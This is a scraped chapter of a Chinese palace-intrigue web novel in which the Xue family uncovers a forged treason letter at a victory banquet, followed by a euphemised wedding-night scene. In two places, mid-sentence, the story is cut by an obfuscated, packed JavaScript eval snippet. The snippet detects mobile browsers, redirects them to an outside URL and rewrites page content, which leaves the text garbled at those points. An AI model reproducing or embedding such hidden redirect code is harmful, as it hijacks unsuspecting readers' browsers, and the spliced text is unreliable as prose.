薛容玦嗔了牧平也一眼,笑着对薛琮道:“我怕我不来,阿兄一个人哭鼻子。” 薛琮在上战场前的日子可以说是顺风顺水,没有半点波折。在战场上的短短几个月,生离死别四个字他全部尝尽。 此刻看到妹妹的笑容仿若隔世。 他压下心中的涩意,对薛容玦笑道:“阿玦随思悠先回去,待我见了陛下后咱们再叙。” 薛容玦点点头,问道:“可见过母亲了?” 薛琮摇了摇头:“大军随行不方便,不过给母亲去了信。左右要在京都待一阵子,寻个时间去瞧瞧母亲。” 薛容玦点了点头,看到大军也快行到近前便道:“阿兄快去吧,我们在家等你。” 薛琮原以为自己此番回京只能在薛府见到一地枯枝败叶,还好有阿玦。 - 薛容玦今日一身宫装繁复沉重,她坐在马车上时还倚靠着牧平也,试图轻松一些:“以前也没见陛下为得胜归来的将军举办宫宴,这次是怎么了?” 牧平也双眸沉沉,思索半晌后:“许是为了安抚太子一党,毕竟薛将军的离世对太子一党打击颇大。” “可是,”薛容玦有些不明白,“陛下为何不让皇后娘娘和太子殿下主持宫宴,反而让崔贵妃主持?” 牧平也轻笑道:“这不是好事吗?” 薛容玦皱着眉瞧他,抱怨道:“你总是这样说一半,上次向我要了几个夫诸军的人,也不告诉是作何用。” 牧平也笑着拍了拍她:“我若是都告诉你,那你岂不是少了很多惊喜。 “你这一下午上妆都没有休息,快再休息会吧。宫宴上怕是少不了要废心神。” 随着编钟敲响,官员带着家属陆续进入宴会场地。文武百官皆身着朝服,腰挂玉佩;夫人小姐们也都打扮得极为严肃,以参与这场为得胜归来的将士们专门举办的宴会。 金鼓齐鸣,气氛热烈。 将士们脱下了沉重的甲胄,站在那里依旧英姿勃勃。 此次宫宴陛下特意将薛容玦和牧平也的位子安排在薛琮身边,陛下笑眯眯地同薛容玦道:“安乐几月不见,瞧着又长高了些。” 薛皇后冷淡道:“阿兄和阿嫂本就不矮,阿玦年岁还小,怕是还有得长。” 薛容玦不知道该说什么,只好对着陛下笑了笑,又扯了扯薛琮的衣袖,悄声问道:“陛下这是什么意思?” 薛琮和牧平也对视一眼,后者轻轻点了点头,薛琮笑着对薛容玦道:“无事,阿玦等着今晚的好戏便可。” 薛容玦茫然地看向牧平也,似乎想寻求一个答案,牧平也看着她水灵的眼眸只是笑着对她道:“先吃些东西,一会可就没功夫吃了。” 薛容玦近日因秋日身子并不爽利,再加上午后也未能好好休息,此刻人有些懒懒的,便就着牧平也的手吃着他喂到唇边的吃食。 说话间乐声被纷至沓来的舞女身上的环佩之声所取代,舞女们身姿飘逸宛若九天玄女。 八音迭奏,为宫宴平添了几分雅致。 陛下心情似乎很好,亲自向薛琮赐酒:“孤瞧着阿琮从稚童长到如今,真是一转眼的事。若是你父亲得见这一幕变好了。” 只见薛琮重重地放下酒杯,上前单膝跪在陛下身前高声道:“陛下,臣有一个不情之请。” 陛下敛去了几分笑意,正色道:“你且说。” 薛琮道:“臣与兄弟们保家卫国没有丝毫怨言,能够得胜归来也是仰仗陛下之福。只是,还有太多兄弟没能活着回来。 “臣坐在这里品佳肴、喝美酒、赏舞姿总觉得心中愧对那些兄弟们。臣斗胆,陛下可否撤去这些歌舞,让臣和在场的将士们敬那些忠骨埋边陲的兄弟们一杯。” 薛皇后瞥了一眼面色苍白的崔棠微微低下了头,以免他人看出自己眼中的笑意。 原本热闹的宫宴此刻变得寂静无声。 “你说的有理,”陛下点了点头深以为然,又对舞女们摆了摆手,“下去吧。” 陛下拿起酒杯起身道:“此杯便敬那些为我大盛浴血奋战的将士们。” 薛皇后却在陛下将酒倾洒地下之时适时出声,声音不大不小却正好能让众人听到:“陛下,臣妾最近身子不适,这宫宴似乎是由崔贵妃负责的。 “不说那些死后也不得归乡的将士们,便是兄长离世不过几月,如此欢声笑语若是民间得知还以为是陛下凉薄呢。” 宴会内所有人都屏气沉默,薛容玦注意到崔棠含恨看了一眼文繁荫,立刻又双眸含泪扑到陛下身前:“陛下,是臣妾的错。臣妾想着战士归来不易便交代下去把宫宴办得热闹一些,是臣妾思虑不周。” 薛琮倒是瞥了一眼文繁荫,又看向崔棠道:“听闻贵妃娘娘颇为重视王妃,事事将王妃带在身边,不知可否是王妃自作主张?” 文繁荫又惊又怕地跪在陛下身前道:“是儿臣自作主张,还望陛下莫怪母妃。” 盛硕也起身道:“繁荫毕竟年幼考虑不周,还望父皇宽宥。” 薛皇后冷哼一声:“倒是不知一个小小王妃竟做了这皇宫的主,若是柳家二娘做这王妃,怕要周到妥帖许多吧。” 薛容玦注意到柳扶云怨毒的目光在文繁荫身上停留一瞬,看向盛硕的目光又有几分痴狂,她又想到那人告诉她的,她便起身跪在盛硕身后道:“陛下,妾身本不该此时开口。可是王妃行事确实太过胆大妄为,妾身怕若是王妃再这样肆意妄为下去会连累王爷。” 薛容玦若有所思地看着眼前的一番闹剧。 就在薛勖霖离世、薛琮在战场浴血时,陛下将五皇子封为齐王,崔家、文家都与有荣焉反倒是柳家在五皇子身后仿若透明。 她看得出柳扶云喜欢盛硕恨透了文繁荫,却没想到柳扶云真的能中如此拙劣的挑拨离间之计。 她拉了拉牧平也的衣袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450637|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“柳扶云比我想得还蠢。” 牧平也瞟了一眼不动如山的柳老爷子,悄声道:“说不好她是蠢还是柳家在将计就计,不论如何总是替你出口气。” 陛下让薛琮坐回去,倒是十分感兴趣地看着柳扶云,指着一旁的文繁荫道:“她怎么胆大妄为了?你且说说。” 柳扶云看到爷爷微不可见地朝她点了点头,她仿佛生出了些勇气:“当初薛大将军出殡之时,崔小将军带兵要去搜薛府,想来陛下也知晓。 “其实最初王爷是不相信此事的,薛大将军一生为国立下赫赫战功,行事光明磊落怎会作出通敌叛国之举? “妾身那日去书房为王爷送汤,无意间看到王妃在劝说王爷。王爷坚定地否认说,薛将军之离世是我大盛之不兴,怎可听信谣言。王爷第二日便离京办差。 “可是妾身看到王妃脸上的忿忿不平之色心中不安,于是妾身趁着第二日向王妃请安时多加留意,果然看到了王妃桌上有许多临摹的字迹。妾身便想着,薛府出了变故如此混乱,若是趁机栽赃诬陷,倒也不是不可能……” 柳扶云未再多言,但是在场之人谁也不是傻子。 薛琮冷笑道:“谁人不知,王妃写得一手好书法,竟还有如此手艺。” 他向陛下请旨道:“还请陛下派人搜查薛府,薛家绝不会通敌叛国,还望陛下还我薛家清白以平流言。” 陛下双眸深沉不语,反而看向一晚上未开口的太子:“太子觉得,此事该如何呢?” 太子清清浅浅地笑了笑:“此事儿臣不宜开口。儿臣虽为一国储君,可事涉舅父。儿臣自小随舅父学武难免会有私心,若是此时开口,难免偏颇。” 倒是轻易不参与太子和五皇子争斗的胡陵开口道:“陛下,民间这几月总有流言。不如查一查也好,消了这流言蜚语。” 陛下沉吟半晌道:“那便派宫中禁军去瞧瞧吧。” 陛下还将自己近身内侍也派了去,用意不言自明。 大殿内气氛紧张,倒是陛下一人显得十分轻松,还对薛琮道:“此次立了战功,可想要什么赏赐?” 薛琮行礼道:“薛琮不敢居功。” “诶,”陛下笑着摆了摆手,“别的不谈,便是你一人只率五千精兵深入碧山山中,绕过北蛮布防直取北蛮旧都,打得他们一个措手不及。 “这可不是谁人都能做到的,碧山地势险峻,野兽众多,便是你父亲年轻时,怕也未必有这份勇气。” 薛容玦觉得兄长从战场上回来仿佛成熟了许多,变成了喜怒不形于色的少年将军。 薛琮抱拳道:“谢陛下夸奖,可是臣的胜利是以兄弟们的尸身血海作为代价的,若是陛下要赏臣不如厚待牺牲将士们的家属。 “只有陛下这样英明的君主,我们才能顺利得胜。” 陛下拍了拍他的肩膀:“放心,此事孤会交代下去的,你该有的赏赐也不会少。” 很快派去的人都回来了,陛下的近身内侍手中拿木盒在陛下耳边耳语了些什么。 陛下的面色仿佛风雨欲来,他打开木盒看了两眼随即摔到了文繁荫身上:“瞧瞧你做的好事!” 文繁荫哭着磕头:“陛下明鉴,儿臣……儿臣不知这是何物啊!” 陛下冷笑一声:“不知道?那让你父亲来看看,认不认识你写的字。” 75. 风雪归人(三) 谁也没有想到,一场为将士庆功的宫宴会闹到如今这个局面。 陛下面色阴沉地叫上来了文跃熙,把木盒中的纸摔他身上,声音平稳却仿佛蕴藏着滔天巨浪:“文爱卿好好看看,这是谁的字。” 文跃熙颤颤巍巍地拿起了那张纸,他太清楚女儿用笔的习惯了,那尾端的轻微挑起一看就是文繁荫的手笔,他强压下狂跳的心脏:“回陛下……臣、臣不认识。” “呵,”陛下意味不明地笑了一声,冲着他们父女二人扬了扬下巴对内侍道,“告诉他们,这是哪搜出来的。” 内侍尖细的嗓音回荡在大殿内:“是从齐王府搜出来的。” 陛下从来就没有相信过薛勖霖通敌。 文繁荫和崔棠齐齐白了脸,文繁荫反应得很快,膝行几步伏地道:“是儿臣一时起了贪念,陛下亦知晓,儿臣自小与安乐不睦,只是为了让她添堵,绝无其他意思,而且殿下对此一无所知啊。” 崔原此刻也出席向陛下行礼道:“陛下,薛大将军出殡之日殿下亦是刚刚回京,对此并不知晓,还望陛下明察。” 陛下神色不明,眼神中似乎闪烁着晦暗不明的火光,似乎不愿多说只道:“文繁荫便在府中圈两年吧,孤瞧着这柳家姑娘倒是明辨是非,抬作平妻。 “至于文熙跃,孤给你留面子,明日孤要看到你致仕的折子。” 柳扶云面上是掩饰不住的喜色,赶忙谢恩:“多谢陛下,妾身必定会引以为鉴。” 文熙跃颤颤巍巍地扣头谢了恩,只有文繁荫怔愣着盯着崔棠,又看了一眼从头到尾未曾看过这里一眼的崔敬山大笑了起来。 薛皇后皱着眉头摆了摆手:“这是做什么,来人,带下去。” 她又笑着看向陛下,询问道:“陛下,可要继续宴席?” 陛下深深地看了她一眼,状似不经意地问道:“皇后看起来兴致很高?” 薛皇后仿佛没有听出他的言外之意,笑得明媚:“臣妾的兄长虽然离世,可侄儿得胜归来没有辜负他父亲的期望,不值得高兴吗?” “你高兴便好,”陛下竟凄然笑了一下,又对众人道,“你们继续吧,孤有些不舒服便先行离席了。” 陛下离去后的宫宴倒是热闹了许多,起初还因方才的气氛有些放不开,几杯酒下肚气氛又变得热络了起来。 薛容玦也喝了几杯果酒,此刻面色红晕,靠在牧平也怀中质问着他,却不知自己因醉酒添了几分媚态,质问根本没有任何力度:“你先前向我借走的人便是去做这些事了么?” “别喝了,再喝明日起来该头疼了,”牧平也拿开她面前的酒杯和酒壶,“是,此前看到你从书房找出的东西心中便有疑虑。” “岳父大人不是这样的人,那便只能是陷害了。那日齐王瞧着倒真是并不知情,反而齐王妃甚为笃定。 “文夫人给你的信息总让我觉得文家似乎在筹谋着什么,况且齐王妃写得一手好字,不得不让我怀疑。” “那……那你怎么想到去策反柳……柳扶云的?”薛容玦眼前的人已经有了重影,她挥舞着右手试图寻找到眼前人的实体。 牧平也抓住她乱挥舞的手,无奈又宠溺道:“不算策反只是正好算到了人心。柳扶云爱慕齐王世人皆知,齐王妃又是个眼高于顶的,她心中有野心想取而代之很正常。 ”不过,更重要的是柳家早就对文家不满了。柳、文两家都站在齐王身后,可是明显文家更重要,柳家当然想趁这个机会打压文家,自己好趁势而上。” “他们……还争来争去?” 牧平也失笑道:“那是自然,权力面前哪有同盟。” 他发现怀中人没了声响,垂首一看她已然醉了过去,他眼中闪过无奈的宠溺。 牧平也和薛皇后还有太子和薛琮聊了几句后便带着薛容玦先行离去。 他们二人离去时没有注意到,薛琮正在和太子在一旁说着什么。 太子为薛琮倒了杯酒,薛琮接过道:“我请殿下查的事情,可有眉目?” 太子点了点头,环顾了一番场上之人,道:“你看看此刻,表面上觥筹交错、热闹非凡,可实际上呢,勾心斗角的也是他们。 “之前安乐中毒一事你还不知吧?” 薛琮闻言拿着酒杯的手一抖,酒撒了一手他却毫不在意,只是紧张地问道:“何时?她如何了?她从未向我提起过。” 太子安抚地拍了拍他的肩,又示意内侍递上一块干净帕子:“你别急,安乐无事。她不告诉你也是怕你担心,你这妹妹啊心中很有主意呢。不过,下毒之人应是田家之人。” 薛琮看向太子,眼中有着几分了然:“太子的意思是?” 二人自小一起长大,有些事情不言自明,太子点了点头:“想来军中应是有田家人,否则无法解释舅父与俞安之死。 “你还不知,俞安到死手中紧握着的是周将军当年随身的玉佩。” 薛琮这才问道:“当日崔允带兵又是何事?” 太子闻言笑道:“不必担心,那日无事。安乐一早在书房搜到了文繁荫模仿舅父字迹写的信,她提前让人通知我出殡那日不要来,让她来处理。 “崔原当日拿到了陛下的旨意,想来是一早知晓姑祖母在薛府,逼姑祖母进宫。” 薛琮疑惑道:“这是为何?” 太子环顾四周无人注意他们二人,他方才在薛琮耳边悄声道:“传闻姑祖母手中有一份遗诏,陛下多年遍寻不得,始终为此担心。想来陛下从来没有相信过舅父会通敌,只是利用此逼迫姑祖母交出遗诏。” 薛琮反应很快:“那当年外祖母一家迁离京都可是另有隐情?” 太子赞许地拍了拍他的肩。 薛琮却又疑道:“陛下登基将近三十余年,竟还担心这样一份遗诏吗?” 太子想了想道:“这份遗诏倒不重要,重要的是姑祖母在军中的势力让陛下担心,不知二人达成了怎样的交易。” 薛琮想了想道:“其实陛下不必担心,外祖母早已无心军事。” 太子看了一眼那高台空位,意味不明道:“君心难测。” 薛琮沉默不语,太子又道:“阿琮,舅父离世对我们影响太大了,如今我能依靠的只有你了。” “殿下想让我怎么做?” 太子却笑道:“你什么都不用做,陛下心中对你有愧,你想怎么做就怎么做。听闻你想继续驻守碧泽,你放心去。京都和舅母那边都有孤在。” 薛琮看向太子,心中五味杂陈,自从父亲离世他忽然惊觉很多事情并非他想得那么简单,母亲和妹妹如今也成为了太子控制他的人质。 “好。” 二人又一起喝了会酒,薛琮的余光瞥到了文熙跃身后的文符,他眸色一黯对太子道:“殿下可知姜丞相之死是何人所为?” 太子顺着他的目光看到了沉默阴郁的文符,道:“是崔家和文家。” 薛琮捏紧了手中的酒杯,恨道:“那琼芳的死想来也不是意外了。” 薛琮放下酒杯,向太子郑重行了一礼:“我有一事求你。” 太子急忙拦住他:“你我之间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450638|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何须如此大礼,直说便是。” 薛琮看向文符:“将来把他交给我处置。” 太子笑了笑,淡淡道:“借你吉言,若真有那一日,我把整个文家交给你处置。” - 薛容玦在马车上时意识有一些复苏,却十分闹人,牧平也费了好大劲才把她箍在怀里。 薛容玦只觉得眼前一切都仿佛漂浮在虚幻之中的幻影,可是眼前似乎有一颗红润的樱桃,她毫不犹豫含了进去。 牧平也原本只是安静地看着她,那目光中满是对她撒酒疯的无奈,却又充满了无可奈何的爱意。 她平日里不爱上妆,犹如出水芙蓉般淡雅。今日为了宫宴上了比较复杂的妆,再加上她近日似乎又长开了不少,趁得她整个人如桃花般怡人。只是她此刻醉了酒,面上浮上酡红,更显得娇艳欲滴。 似乎是他的本能反应,他便占据了主动,贪婪、强势地汲取着她的味道。 她醉酒后比平日里更加缠人,两只手紧紧地抱着他的腰不撒手。 他微微后撤,开口时声音有些嘶哑:“昭昭……撒手。” “不要。” 她竟犹如小猫一般在他颈边蹭了蹭,唇瓣似有若无地轻擦过他颈边的皮肤。 他猛地深吸一口气,放在她腰上的手掐紧。 他轻吻着她的耳垂,轻轻朝她耳边吹气,令她不禁颤了颤。 “昭昭……还记得吗?我们还有什么事没有做?” - 薛容玦躺在床上想要掀翻身上如山一样重的人时还不明白,自己怎么就回家了? “我们不是在宫宴吗?” 牧平也从她颈边抬起头,看向她水汽氤氲的双眸,抬手温柔地为她拂去眼角的泪水:“你闹着要回来,便带你先回来了。” 薛容玦不舒服地动了动身子:“你做什么?我要沐浴,你下去。” 牧平也却没动,只是看着她笑:“昭昭是不是忘了,我们还有什么事没有做?” 薛容玦看着此刻的牧平也平静的目光下似乎隐藏着疯狂,他双眸通红,从来端正的发冠此刻早已不知到什么地方去了,整个人仿佛话本子里吸人精气的狐狸精。 她有些害怕地缩了缩身子,结结巴巴道:“什么……什么事?” 牧平也这会倒是起身坐在她身边,还不等她喘口气便又被他抱在怀里,他指着桌上的一对龙凤烛,温柔道:“我们还没有圆房啊。” 他没有给薛容玦说话的机会便再度吻了上去,少女的嘴唇像樱桃一样多汁却又比棉花柔软。 薛容玦张了张嘴打算说什么却被他趁虚而入,察觉到怀中人的挣扎,他终于大发慈悲地放开她可怜的唇瓣:“昭昭想说什么?” 薛容玦看着他心跳得很快,她知晓接下来要发生什么,出嫁前母亲和她讲过的。她不敢看他只是抬手揽上了他的脖颈,面庞深埋其中,气声在他耳边道:“你……你轻些。” 牧平也觉得自己再也控制不住心中的猛兽,他一把拉下床帘隔绝了屋内的灯光和窗外的雨声。 秋日多雨,在他们回来的路上便已淅淅沥沥地下起下雨。 此刻的雨势越来越大也越来越急,窗边摆放着一盆还未来得及收回去的秋海棠。 秋海棠起初还能承受的住雨水的敲打,可是随着雨势渐急,秋海棠被雨水打得有些受不住。 好在天公作美,雨势来得急去得也急,急雨又变成淅沥小雨浇灌着秋海棠。 不知过了多久,也许已是深夜雨势方歇,秋海棠疲惫不堪地垂着头,摇摇欲坠。